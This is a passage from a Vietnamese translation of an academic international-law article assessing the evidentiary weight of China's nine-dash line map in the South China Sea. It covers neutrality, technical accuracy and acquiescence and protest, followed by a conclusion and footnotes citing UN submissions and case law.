[94]</div> <div> </div> <div> E. Thiếu tính trung lập</div> <div> </div> <div> Khi bản đồ được vẽ lên bởi một chuyên gia khách quan, giá trị chứng minh của nó có xu hướng tăng lên. [95] Trái lại, các tài liệu bản đồ được sản xuất theo chỉ thị của một trong các bên tranh chấp sẽ được xét với sự nghi ngờ nhiều hơn, và do đó sự phụ thuộc vào tài liệu như vậy chỉ là ngoại lệ không phải là quy tắc. [96] Các trọng tài trong vụ Trọng tài kênh Beagle nhận xét như sau:</div> <div> </div> <div> Trong khi các bản đồ đến từ các nguồn khác hơn những bản đồ của các bên không thuộc vụ đó được coi là nhất thiết phải chính xác hơn hoặc khách quan hơn, trước nhất (prima facie) chúng có tình trạng độc lập, điều này có thể tạo cho chúng giá trị lớn trừ khi chúng chỉ là các bản sao chép của - hoặc dựa trên bản gốc xuất phát từ - các bản đồ do một trong các bên vẽ ra, hoặc giả được xuất bản trong một nước có liên quan, hoặc thay mặt cho, hoặc theo yêu cầu của một Bên, hoặc rõ ràng có động cơ chính trị. Nhưng chỗ nào mà tư cách độc lập của chúng không để lộ cho việc nghi ngờ về một hoặc các cơ sở nêu trên, chúng có ý nghĩa tương đối cho việc giải quyết tranh chấp lãnh thổ liên hệ trong đó chúng cho thấy sự tồn tại của một sự hiểu biết chung theo một nghĩa nào đó, như về cách giải quyết đó là gì, hoặc, chúng mâu thuẫn ở đâu, sự thiếu vắng của bất kỳ sự hiểu biết chung như vậy. [97]</div> <div> </div> <div> Việc thiếu tính trung lập là rõ rành rành đối với đường 9 chấm. Như đã thảo luận trong phần II-A, lịch sử của đường chữ U có thể được truy ngược về một ủy ban nội bộ do chính phủ Trung Hoa Dân Quốc thành lập để cập nhật các bản đồ TQ và tái khẳng định vị thế của họ. Một cơ quan chính phủ được thành lập và phân bổ nhân viên đơn phương như thế khó có thể được coi là khách quan đối với các nước có liên quan khác trong khu vực Biển Đông. Không nên quên rằng các nhà vẽ bản đồ có lương tâm vẫn có thể bị sử dụng cho các mục đích lừa đảo:</div> <div> </div> <div> Một nhà làm bản đồ … có thể được sử dụng để biểu lộ khẳng định của một nước cụ thể như nước của chính ông ta về kích cỡ đầy đủ miền lãnh thổ của nước đó là gì, bất kể tính đúng đắn của khẳng định này và không có việc doạ dẫm rằng việc vẽ đó mô tả phạm vi của một yêu sách chứ không phải là vị trí của một ranh giới được chấp nhận. Qua việc sao chép tiếp theo và việc vẽ lại của các nhà làm bản đồ thiếu phối kiểm không những các sai sót tiếp tục tồn tại mà sự kiện về việc lặp lại có xu hướng chuyển cho chúng sự thừa nhận pháp lý qua việc in ra một số lượng lớn bản đồ thống nhất với lời khai của họ. [98]</div> <div> </div> <div> F. Không chính xác về kỹ thuật</div> <div> </div> <div> Trong tiểu luận về giá trị chứng cứ của bản đồ, De Visscher đưa ra các tiêu chuẩn sau đây: “những bảo đảm về tính chính xác nội tại của bản đồ … sự chính xác liên quan tới các điểm đang tranh chấp”. [99] Theo Brownlie, "giá trị chứng minh mà một bản đồ có tương ứng với chất lượng kỹ thuật của nó”.[100] Luật về án lệ cũng chỉ ra đòi hỏi độ chính xác kỹ thuật trong bản đồ. [101] Trong vụ đảo Palmas, trọng tài duy nhất Max Huber đã viết rằng: “điều kiện đầu tiên đòi hỏi của các bản đồ phục vụ với tư cách là bằng chứng đối với những điểm pháp lý là độ chính xác địa lý của chúng.” [102]</div> <div> </div> <div> ICJ phát biểu rằng:</div> <div> </div> <div> Trọng lượng thực tế được phân cho các bản đồ đem làm bằng chứng phụ thuộc vào một loạt các cân nhắc. Một số trong các cân nhắc này liên quan đến độ tin cậy kỹ thuật của các bản đồ. Điều này đã nâng lên đáng kể, đặc biệt là do những tiến bộ đạt được qua không ảnh và ảnh vệ tinh từ những năm 1950. Nhưng kết quả chỉ mang tới tính chất trung thực hơn cho bản đồ và sự ăn khớp ngày càng chính xác giữa bản đồ và không ảnh. Thông tin xuất phát từ sự can thiệp của con người, chẳng hạn như tên của các địa điểm và các thể địa lý (địa danh học) và việc miêu tả biên giới và ranh giới chính trị khác, do đó không khả tín hơn. Tất nhiên, độ tin cậy của các thông tin địa danh học cũng tăng lên nhở kiểm chứng thực địa, mặc dù ở mức độ thấp hơn, nhưng theo ý kiến của các nhà vẽ bản đồ, sai sót vẫn còn phổ biến trong biểu thị các đường biên giới, nhất là khi thể hiện các địa danh này này ở các khu vực biên giới khó tiếp cận. [103]</div> <div> </div> <div> Dưới ánh sáng của những quan điểm này, sự ra đời của công nghệ hiện đại có thể tăng truy đòi của các thẩm phán đối với bằng chứng bản đồ. Một trường hợp nổi bật về điểm này là ý kiến tư vấn của ICJ 2004 đối với bức tường của Israel, trong đó họ dựa (một phần) vào một bản đồ điện tử được đăng trên trang web Bộ Quốc phòng Israel để xác định các tuyến đường hiện tại và tương lai của các bức tường trong vùng lãnh thổ Palestine. [104] Ngược lại, các bản đồ TQ không có vẻ có thể đáp ứng các tiêu chuẩn kỹ thuật nghiêm ngặt. Mặc dù đường nhiều chấm của TQ thường đi theo đường đẳng sâu 200 mét (đường nối các điểm có độ sâu 200m với nhau), cho đến nay nó chưa bao giờ được phân ranh giới chính xác, do đó thiếu các toạ độ địa lý chính xác. [105] Ngoài ra, có vẻ có một số sự mâu thuẫn nhỏ giữa các tài liệu bản đồ biển của TQ: các điểm cuối của các vạch tạo nên đường chữ U thay đổi (mức khác biệt chạy từ 1 đến 5nm). [106] Nhưng ngay cả vị trí của chính các vạch đôi khi có sai biệt rõ ràng với những vạch trên bản đồ ở Phụ lục I. [107] Hơn nữa, vì nó liên quan các đường trên biển, ảnh vệ tinh cũng không thật hữu ích.</div> <div> </div> <div> Một yếu tố bổ sung góp phần vào tính không chính xác của bản đồ TQ là tỉ lệ của nó nhỏ quá mức. ICJ đã than phiền các bản đồ vẽ với tỉ lệ không đủ lớn. Một ví dụ điển hình có thể tìm thấy trong Tranh chấp đất, đảo và biên giới biển:</div> <div> </div> <div> Honduras đã vẽ một bản đồ thứ hai, năm 1804, cho thấy vị trí của các giáo xứ của tỉnh San Miguel trong Tổng Giáo Phận Guatemala. Tuy nhiên, tỉ lệ của bản đồ này không đủ lớn để có thể xác định xem đoạn cuối của sông Goascoran là đoạn do El Salvador khẳng định, hoặc đoạn do Honduras khẳng định. [108]</div> <div> </div> <div> Các vấn đề tương tự cũng đã được trình bày trước tòa trọng tài. Ví dụ, Uỷ ban ranh giới Eritrea-Ethiopia cho rằng: “hơn nữa, nhiều bằng chứng về bản đồ theo một tỉ lệ quá nhỏ, hoặc quá thiếu chi tiết đến nỗi nó chỉ có thể được coi là mơ hồ trong lĩnh vực này.” [109]</div> <div> </div> <div> Cuối cùng, cần lưu ý rằng các bản đồ TQ không chứa bất kỳ chỉ dấu nào về mốc quy chiếu (tức là một quy chiếu sử dụng trong trắc địa để đo đạc) được sử dụng, đó có vẻ là một yếu tố quan trọng trong việc đánh giá độ chính xác kỹ thuật của bất kỳ ranh giới biển nào. [110]</div> <div> </div> <div> IV. BẢN ĐỒ KHÔNG BỊ CÁC NƯỚC KHÁC TRONG KHU VỰC PHẢN ĐỐI</div> <div> </div> <div> A. Tiêu chuẩn áp dụng</div> <div> </div> <div> Ngay cả khi ta chấp nhận rằng đường 9 chấm là một mô tả sai lầm của hiện thực thì điều đó không có nghĩa là nó có thể được gạt sang một bên ngay lập tức. Điều này đã được làm sáng tỏ trong vụ kênh Beagle:</div> <div> </div> <div> tầm quan trọng của bản đồ có thể không nằm ở chính bản đồ mà trên lý thuyết nó có thể không chính xác mà ở thái độ biểu lộ - hoặc hành động thực hiện - đối với bản đồ đó của các bên liên quan hoặc của các đại diện chính thức của họ. [111]</div> <div> </div> <div> Các thẩm phán trong vụ Đền Preah Vihear đã rõ rệt hơn, gửi một tín hiệu cảnh báo rõ ràng về những ảnh hưởng tiềm năng của việc sơ suất trong khi đối mặt với sự quyết đoán về bản đồ:</div> <div> </div> <div> Rõ ràng rằng các trường hợp như vậy đòi hỏi một phản ứng nào đó, về phía nhà chức trách Thái Lan trong một thời hạn hợp lý, nếu họ muốn tỏ sự không đồng ý với bản đồ hoặc nếu có bất kỳ câu hỏi nghiêm trọng nào phải nêu ra liên quan đến nó. Họ đã không làm như vậy, hoặc là sau đó hoặc trong nhiều năm, và do đó phải được xem là đã mặc nhận. Qui tacet consentire videtur si loqui debuisset ac potuisset. [112] (Ai im lặng thì dường như là đồng ý, nếu anh ta biết nói đáng lẽ anh ta đã phải nói).</div> <div> </div> <div> Một ví dụ của mối liên kết giữa bản đồ và sự mặc nhận được Ủy ban Ranh giới Eritrea-Ethiopia nêu lại gần đây: “một bản đồ có thể có chút trọng lượng pháp lý cho từng cái (per se): nhưng nếu bản đồ là thỏa đáng về mặt bản đồ học trong các khía cạnh có liên quan, nó có thể, có vai trò là căn cứ thực tế , có ý nghĩa pháp lý cao, ví dụ như cho hành vi mặc nhận.”[113]</div> <div> </div> <div> Tất nhiên, các kiểu cách thực tế của các vụ nêu trên là hoàn toàn khác biệt với trường hợp mà chúng ta đang phải đối mặt, tao ra tranh cãi về việc liệu các tiền lệ đó có thể áp dụng được ở đây không. Trong trường hợp này, chúng ta đang đối phó với một đường biên giới biển có mục đích xấu, việc hình thành nó, theo lời của ICJ, là “một vấn đề có tầm quan trọng lớn và việc thỏa thuận không phải là dễ dàng giả định trước”. [114] Hơn nữa, theo quan sát của Strupp:</div> <div> </div> <div> Yêu sách hình chữ U lạ lùng này là quá bất thường và quá đáng vượt ngoài thực tế trong các thập niên từ 30 tới 60 đến nỗi không thể hiểu được theo cách có “sự mặc nhận đối với yêu sách bản đồ” một công nhận (ngầm) của cộng đồng nước ngoài về những tham vọng “cực kỳ bất thường”, bằng cách áp dụng quy tắc qui tacet consentire videtur si loqui debuisset ac potuisset hoặc quy tắc khác, có thể nghiêm ngặt đi đến xem xét. [115]</div> <div> </div> <div> Strupp cũng nhận xét rằng:</div> <div> </div> <div> Trong những trường hợp hoàn toàn quá đáng kiểu như “tuyên bố chủ quyền mặt trăng” của “đường chữ U” ở Biển Đông rõ ràng không tồn tại một cơ sở hợp lý nào cả cho một độ “siêu nhạy cảm” to lớn về phía các nước phải đối mặt với các yêu sách bản đồ đối địch về mặt “mặc nhận”. [116]</div> <div> </div> <div> Tuy nhiên, cần thận trọng khi áp dụng một phương pháp tiếp cận trung gian. Sau khi xem xét một bộ phận lớn về việc thực hành nhà nước, trong công trình có ảnh hưởng của ông về quyền sở hữu lịch sử, Blum đi đến kết luận sau đây:</div> <div> </div> <div> Các trường hợp phản đối mới đây chống lại “yêu sách bản đồ” dường như chỉ ra rằng các quốc gia, trên thực tế, “luôn giữ một cái nhìn cảnh giác đối với các bản đồ do các quốc gia văn minh xuất bản " … Nói chung, có vẻ nổi lên rằng các nước sẽ bị đổ lỗi cho sự hiểu biết về các hoạt động lập pháp trong nước của nhau cũng như các hành vi khác được thực hiện theo thẩm quyền của họ, và lời biện hộ về sự không biết sẽ chỉ được chấp nhận trong những trường hợp đặc biệt nhất.Do đó những nước mong muốn bảo toàn quyền của mình được khuyến cáo nên quan tâm theo dõi sâu sát các hành vi chính thức của các nước khác và đưa ra phản đối - thông qua các phương tiện hợp pháp được luật quốc tế công nhận – nếu họ cảm thấy rằng quyền của mình đã bị ảnh hưởng, hoặc có thể bị ảnh hưởng bởi những hành vi đó. [117]</div> <div> </div> <div> B. Phản đối / Thiếu sự mặc nhận</div> <div> </div> <div> Giả sử rằng triển vọng thừa nhận ngầm lồ lộ hiện ra, các nước ven biển được yêu cầu phải bày tỏ sự không chấp nhận chính sách đường chữ U và ý đồ cơ bản của TQ. Một số học giả TQ đã cáo buộc rằng buộc cộng đồng quốc tế đã không lên tiếng về sự bất đồng của mình để ngăn chặn việc củng cố tham vọng của TQ ở Biển Đông:</div> <div> </div> <div> Khi tuyên bố đường 9 điểm, cộng đồng quốc tế không lúc nào bày tỏ sự bất đồng ý kiến. Không nước lân cận nào đã đưa ra một phản đối ngoại giao. Im lặng khi đối mặt với một tuyên bố công khai có thể nói có nghĩa là mặc nhận, và có thể khẳng định rằng các đường chấm chấm đã được công nhận trong nửa thế kỷ. Tuy nhiên, trong những năm gần đây một số nước Đông Nam Á, đã tham gia vào tranh chấp chủ quyền Biển Đông, mới đặt ra câu hỏi về tình trạng pháp lý của đường 9 chấm. [118]</div> <div> </div> <div> Triệu Quốc Khải (Zhao Guocai) cho rằng:</div> <div> </div> <div> “Từ lúc tuyên bố đường 9- chấm, cộng đồng quốc tế vào thời điểm đó đã không đưa ra bất kỳ sự không bằng lòng nào. Các nước liền kề cũng không đưa ra bất kỳ phản đối ngoại giao nào đối với đường 9-chấm. Những điều này quy thành một sự mặc nhận.” [119]</div> <div> </div> <div> Sự mặc nhận quốc tế này rất đáng ngờ. [120] Lấy Việt Nam như một trường hợp về điều này, chúng ta có thể thấy rằng hai phát biểu này là không thuyết phục. Các ví dụ bao gồm:</div> <div> </div> <div> 1. Một phản đối đối với các đòi hỏi của TQ qua việc tuyên bố rằng rằng họ sẽ “không công nhận bất kỳ cái gọi là ‘lợi ích lịch sử’ nào, điều đó là không phù hợp với luật pháp quốc tế và vi phạm chủ quyền và quyền chủ quyền của Việt Nam và lợi ích hợp pháp của Việt Nam trong các khu vực biển và thềm lục địa của họ trong Biển Đông”.[121]</div> <div> </div> <div> 2. Một tuyên bố đáp trả công hàm của TQ năm 2009:</div> <div> </div> <div> Quần đảo Hoàng Sa và Trường Sa là một phần của lãnh thổ Việt Nam. Việt Nam có chủ quyền không tranh cãi đối với các quần đảo này. Do đó, yêu sách của TQ đối với các đảo và vùng biển lân cận ở Biển Đông như thể hiện trong bản đồ kèm Công hàm CLM/17 / 2009 và CLM/18/2009 là không có cơ sở pháp lý, lịch sử, thực tế, do đó là không có giá trị và vô hiệu. [122]</div> <div> </div> <div> 3. Một yêu cầu loại bỏ dữ liệu khỏi dịch vụ bản đồ trực tuyến của TQ mô tả đường chữ U (nêu trên) trong hai dịp. [123]</div> <div> </div> <div> 4. Các phản kháng gần đây chống lại sự can thiệp của TQ với tàu thuyền Việt Nam, trong đó tính hợp pháp của đường 9 chấm rõ ràng bị bác bỏ. [124]</div> <div> </div> <div> 5. Nhân dịp buổi họp cuối cùng của các nước thành viên UNCLOS, Việt Nam đã nhắc lại phản đối của mình đối với đường 9 chấm theo mục 14 của Chương trình nghị sự. [125]</div> <div> </div> <div> Cách ứng xử như vậy phải tuân thủ các tiêu chuẩn pháp lý quốc tế cần thiết để làm các hành vi phản đối thấm đầy hiệu lực pháp lí khiến cho đường chữ U không thể được sử dụng để chống lại nước phản đối. Tuy nhiên, có vẻ như không khả thi khi áp dụng các tiêu chí này cho các phản kháng trước đây đối với đường chữ U trong điều kiện vị thế mơ hồ của TQ đối với bản đồ và những gì nó thực sự muốn nói. Xét cho cùng, chỉ có thể hành động bằng cách phản đối một khi nước đối lập đã thực hiện một tuyên bố chính thức và dễ hiểu. Ý tưởng này được phản ánh trong khái niệm về “tai tiếng”của hành động hoặc sự kiện đang có vấn đề. [126] Chúng tôi đã bàn bạc chi tiết các đặc điểm bí ẩn của đường 9 chấm và những ảnh hưởng về ý định không rõ ràng về phía TQ. Vì vậy, chỉ có thể phản đối đối với những khẳng định thấy được và dễ hiểu về đường chữ U trong các trường hợp hiếm hoi mà chúng xảy ra (ví dụ, công hàm TQ gửi cho Tổng Thư ký LHQ năm 2009). Theo thời gian, các tiêu chí theo sau dựa trên các tiêu chí trước trước đây. Theo lập luận, nếu tính rõ ràng của dòng-9-chấm đã được xác lập thì bản chất của sự mặc nhận như thế có xu hướng được chấp nhận chỉ sau một thời gian dài thụ động.[127] Ví dụ dễ thấy là các vụ tranh chấp về Đánh bắt cá và Quyền qua lại trên Lãnh thổ Ấn Độ trong đó ICJ suy ra sự mặc nhận từ trên 60 và 125 năm im lặng, tương ứng. [128] Đòi hỏi về ý định rõ ràng cũng đã được hoàn thành trong các tuyên bố của Việt Nam rõ ràng nhằm mục đích ngăn chặn cái đòi hỏi trở thành quyền lợi pháp lý mới của TQ. Ngoài ra, tiêu chí rằng phản đối phải nhất quán và không bị gián đoạn có thể nói là đã được tuân thủ, như minh họa của nội dung của các ghi chú nói về phản đối. [129]</div> <div> </div> <div> KẾT LUẬN</div> <div> </div> <div> Trong đóng góp này, chúng tôi đã cố gắng để khám phá một số những điều không chắc chắn về pháp lý che đậy các vạch trên bản đồ Biển Đông của TQ. Phân tích của chúng tôi đã đưa đến kết luận rằng đường chữ U, cho dù được giải thích như là một thể hiện lãnh thổ hoặc biển, rõ ràng thiếu tính chính xác, và do đó đặt ra nhiều vấn đề nếu vẫn giữ như là một phần của chính sách chính thức của TQ cũng như của Đài Loan. Nếu bộ phận đáng kể luật các án lệ là điều phải đi theo, bản đồ thể hiện với đường 9 chấm sẽ không có giá trị như là tài liệu chứng cứ trong một vụ xử giả thuyết. Trong khi có thể thấy rằng một số người nhìn ra một xu hướng mới nổi lên tạo ảnh hưởng cho sự dễ dãi đối với bản đồ, [130] chúng tôi sẽ cho rằng các luận điệu như vậy là khá vội vã. Các bản đồ không phải là các bản đồ kèm theo các hiệp ước quốc tế sẽ được tiếp nhận một cách thận trọng dễ hiểu và sẽ được đánh giá theo chức năng của chúng vẫn là điều không thay đổi.</div> <div> </div> <div> Nhưng có một vấn đề cơ bản hơn ở đây. Duy trì một tuyên bố đơn phương trong một khoảng thời gian kéo dài mà không xem xét tới quyền lợi của các bên quan tâm khác là đồng nghĩa với việc áp đặt một việc đã rồi (fait accompli). Điều này sẽ vuột mất đi khi đối mặt với luật quốc tế, luật này ngăn không cho các nước mạnh yêu sách “giành phần trọn” (lion’s share) gây thiệt hại cho các nước láng giềng yếu hơn. [131] Việc bám chặt vào đường 9 chấm cũng là lỡ nhịp với chế độ chính phủ hiện tại, [132] bao gồm các hội thảo[133] và (đề xuất) hợp tác trong lĩnh vực bảo vệ môi trường và sự đa dạng sinh học. [134] Một giải pháp thực dụng khá thịnh hành trong những năm qua là tìm cách đạt được sự phát triển chung các tài nguyên. Điều này dính dáng tới việc gác các tranh chấp lãnh thổ và biển sang một bên và ký kết các thỏa thuận tạm thời “mà không làm ảnh hưởng” đến kết quả phân định cuối cùng. [135] May mắn thay, TQ, Đài Bắc, và các diễn viên khác trong khu vực đã sử dụng các cơ chế đa phương này và tiếp tục làm như vậy một cách hiệu quả. Chúng tôi hy vọng rằng các nước có tranh chấp từ bỏ các khẳng định cực kỳ quyết đoán về mặt bản đồ và lo tập trung năng lượng của họ vào các kết quả các bên cùng có lợi liên quan đến Biển Đông trên cơ sở UNCLOS.</div> <div> </div> <div> Người dịch: Phan Văn Song</div> <div> </div> <div> Hiệu đính: Lê Trung Tĩnh</div> <div> </div> <div> --------------</div> <div> * Research Professor, President of the Department of International and European Law and Director of the Centre for International Law, Vrije Universiteit Brussel; Member of the Permanent Court of Arbitration. The substance of this article was prepared for the Second International Workshop organized by the Diplomatic Academy of Vietnam and the Vietnam Lawyers Association, entitled ‘‘The South China Sea: Cooperation for Regional Security and Development’’, 10–12 November 2010, Ho Chi Minh, Vietnam. This article is a revised version of the paper—‘‘Dotted Lines in the South China Sea: Fishing for (Legal) Clarity’’—presented at the Workshop.</div> <div> **Doctoral Fellow, Research Foundation—Flanders (FWO). Member of the Department of International and European Law and the Centre for International Law, Vrije Universiteit Brussel.</div> <div> </div> <div> [1] LI Jinming and LI Dexia, ‘‘The Dotted Line on the Chinese Map of the South China Sea: A Note’’ (2003) 34 Ocean Development and International Law 287 at 289. Trong một công hàm gửi cho Tổng thư ký Liên Hiệp Quốc, Trung Quốc tuyên bố rằng “kể từ [sic] năm 1930, chính phủ Trung Quốc đã đưa ra công khai nhiều lần [sic] phạm vi địa lý của quần đảo Nam Sa của Trung Quốc và tên các thành phần của nó”, nhưng họ không đề cập đến các hoạt động bản đồ. Vì vậy, trong khi điều này có thể có nghĩa là Trung Quốc chính thức chuẩn nhận các hoạt động đặt tên của Ủy ban, không thể suy ra các bản đồ cũng được chuẩn nhận. Xem People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/8/2011’’ (14 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2011_re_phl_e.pdf.</div> <div> [2] Zou Keyuan đề cập đến sự tồn tại của một đường ở Biển Đông có sớm hơn được nhà vẽ bản đồ TQ Hu Jinjie (Hồ Tấn Tiếp) vẽ vào năm 1914 và tiếp theo vào những năm 1920 và năm 1930. Đường như vậy cũng có thể tìm thấy trong một số tập bản đồ từ thời kỳ này. Tuy nhiên, cần phải nhấn mạnh rằng:</div> <div> </div> <div> 1. Những phiên bản sớm hơn này có trước bản đồ chính thức đầu tiên mô tả “đường chữ U”.</div> <div> </div> <div> 2. Các tập bản đồ nói trên đã được biên soạn bởi các cá nhân, do đó hành động theo khả năng cá nhân của họ.</div> <div> Xem ZOU Keyuan, ‘‘The Chinese Traditional Maritime Boundary Line in the South China Sea and its Legal Consequences for the Resolution of the Dispute over the Spratly Islands’’ (1999) 14 International Journal of Marine and Coastal Law 27 at 32–33.</div> <div> </div> <div> [3] In lại trong HU Nien-Tsu Alfred, ‘‘South China Sea: Troubled Waters or a Sea of Opportunity?’’ (2010) 41 Ocean Development and International Law 203 at 208.</div> <div> </div> <div> [4] WANG Kuan-Hsiung, ‘‘The ROC’s Maritime Claims and Practices with Special Reference to the South China Sea’’ (2010) 41 Ocean Development and International Law 237 at 248.</div> <div> </div> <div> [5] SHEN Jianming, ‘‘China’s Sovereignty over the South China Sea Islands: A Historical Perspective’’ (2002) 1 Chinese Journal of International Law 94 at 129, note 122.</div> <div> </div> <div> [6] Li and Li, supra note 4 at 290. Quan điểm này mâu thuẫn với Zou Keyuan, ông cho rằng hai vạch này bị xoá vào những năm 1960. XemSee Zou, supra note 5 at 34–35.</div> <div> </div> <div> [7] Malaysia-Socialist Republic of Viet Nam, ‘‘Joint Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982 in Respect of the Southern Part of the South China Sea, Executive Summary’’ (May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/mys_vnm2009excutivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 6/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/mysvnm_clcs33_2009e.pdf.</div> <div> [8] Socialist Republic of Vietnam, ‘‘Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982, Partial Submission in Respect of Vietnam’s Extended Continental Shelf: North Area (VNM-N), Executive Summary’’ (April 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm2009n_executivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 7/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/vnm37_09/vnm_clcs37_2009e.pdf.</div> <div> [9] United Nations Convention on the Law of the Sea, 10 December 1982, 1833 U.N.T.S. 397 (entered into force 16 November 1994), online: UN http://www.un.org/Depts/los/convention_agreements/texts/unclos/unclos_e.pdf [UNCLOS], art. 76(8).</div> <div> [10] Do Malaysia và Việt Nam phê chuẩn UNCLOS ngày 14 tháng 10, 1996 và 25 tháng Bảy năm 1994, tương ứng, hạn chót nộp hồ sơ của họ bình thường theo Phụ lục II của nó, Điều. 4, phải là năm 2006 và 2004, tương ứng. Nhưng vì nhiều nước gặp phải khó khăn trong việc đáp ứng hạn chót này của Phụ lục II, vào năm 2001 các nước thành viên UNCLOS đã quyết định sử dụng một điểm khởi đầu để xác định thời hạn này: ngày thông qua CLCS Hướng dẫn Khoa học và Kỹ thuật đã trở thành điểm khởi đầu của thời kỳ 10 năm thay vì ngày UNCLOS bắt đầu có hiệu lực. Xem Decision Regarding the Date of Commencement of the Ten-Year Period for Making Submissions to the Commission on the Limits of the Continental Shelf Set Out in Article 4 of Annex II to the United Nations Convention on the Law of the Sea, Meeting of State Parties, UN Doc. SPLOS/72 (2001). Đối với tất cả các nước mà UNCLOS đã có hiệu lực trước ngày 13/5/1999, gồm cả Malaysia and Vietnam thì ngày 12 /5/2009 trở thành ngày hạn chót mới.</div> <div> </div> <div> [11] Bản đồ này được in lại trong Phụ lục Iở cuối bài viết này.</div> <div> </div> <div> [12] Xem thêm NGUYEN Hong Thao, ‘‘Vietnam and Maritime Delimitation’’ in Ramses AMER và ZOU Keyuan, eds., Conflict Management and Dispute Settlement in East Asia (Farnham, Burlington: Ashgate, 2011), 171 at 184, ông lưu ý rằng đây là dịp đầu tiên CHNDTH bày tỏ vị thế chính thức của họ về đường 9 chấm.</div> <div> </div> <div> [13] People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/17/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2009re_mys_vnm_e.pdf.; People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/18/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/chn_2009re_vnm.pdf . The map was attached to these letters. It was also reproduced in the following Chinese sources: (2009) 9 China Oceans Law Review at 200 and 202 and ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2009) 9 Chinese Journal of International Law at 622.</div> <div> [14] Paracel Islands (quẩn đảo Hoàng Sa).</div> <div> </div> <div> [15] Spratly Islands (quẩn đảo Trường Sa).</div> <div> </div> <div> [16] Macclesfield Bank (bãi cạn Macclesfiled).</div> <div> </div> <div> [17] Pratas Islands (quẩn đảo Pratas).</div> <div> </div> <div> [18] Hu, supra note 6 at 204–6.</div> <div> </div> <div> [19] See Erik FRANCKX, ‘‘American and Chinese Views on Navigational Rights of Warships’’ (2011) 10 Chinese Journal of International Law 187 at 196, với tài liệu tham khảo thêm ở chú thích 48 chỉ ra rằng một số học giả phương Tây có khuynh hướng xem nó là sự chuẩn nhận cho yêu sách về quyền sở hữu lịch sử, trong khi các học giả khác nghĩ ngước lại căn cứ trên điều mà việc làm rõ không có nêu lên, tức là bất kỳ quy chiếu cụ thể nào tới vùng nước lịch sử.</div> <div> </div> <div> [20] Republic of the Philippines, ‘‘Letter to the Secretary-General of the United Nations—No. 000228’’ (5 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/phl_re_chn_2011.pdf. Vietnam issued a response to both the Philippines and the PRC, yet refrained from giving any interpretation to these terms. Vietnam, ‘‘Letter to the Secretary-General of the United Nations—77/HC-2011’’ (3 May 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/vnm_2011_re_phlchn.pdf.</div> <div> [21] People’s Republic of China, supra note 4.</div> <div> </div> <div> [22] People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (7 July 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t838221.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (28 June 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t835066.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (21 June 2011), online: Ministry of Foreign Affairs http:// www.fmprc.gov.cn/eng/xwfw/s2510/2511/t833157.htm; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2010’’ (2011) 10 Chinese Journal of International Law 427 at 438.</div> <div> </div> <div> [23] . Trong nhiều dịp trước công hàm 2009,TQ tái khẳng định chủ quền ‘‘không thể tranh cãi (indisputable)’’ or ‘‘không thể chối cãi (undeniable)” của họ đối với quần đảo Trường Sa và Hoàng Sa. Xem ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2010) 9 Chinese Journal of International Law 607 at 612; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2008’’ (2009) 8 Chinese Journal of International Law 493 at 504–5; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2007 (I)’’ (2008) 7 Chinese Journal of International Law 485 at 498–9; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2006 (II)’’ (2007) 6 Chinese Journal of International Law 711 at 760; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2004 (II)’’ (2005) 4 Chinese Journal of International Law 607 at 630–1; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2003 (II)’’ (2004) 3 Chinese Journal of International Law 591 at 598–9; PRC Ministry of Foreign Affairs, ‘‘China’s Indisputable Sovereignty over the Xisha and Nansha Islands’’, (1980) 7 Beijing Review 15, discussed in Otani Yoshio, ‘‘À qui appartient l’archipel des Spratley? Un point de vue sur les revendications chinoises’’ (1996) 1 Annuaire du droit de la mer 179.</div> <div> </div> <div> [24] Charles C. Hyde, ‘‘Maps as Evidence in International Boundary Disputes’’ (1933) 27 American Journal of International Law 311 at 315; Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ in Myron H. NORDQUIST and John Norton MOORE, eds., Security Flashpoints: Oil, Islands, Sea Access and Military Confrontation (The Hague: Nijhoff, 1998), 109 at 113; F. MU¨ NCH, ‘‘Maps’’ in R. BERNHARDT, ed., Max Planck Encyclopedia of Public International Law vol. III (Amsterdam: Elsevier Science, 1995), 287 at 288; T.S. MURTI, ‘‘Boundaries and Maps’’ (1964) 4 Indian Journal of International Law 367 at 388; Daniel SCHAEFFER, ‘‘L’interprétation du droit de la mer par la Chine: ses effets majeurs en Extrême-Orient’’ (2008) 13 Annuaire du droit de la mer 23 at 43; 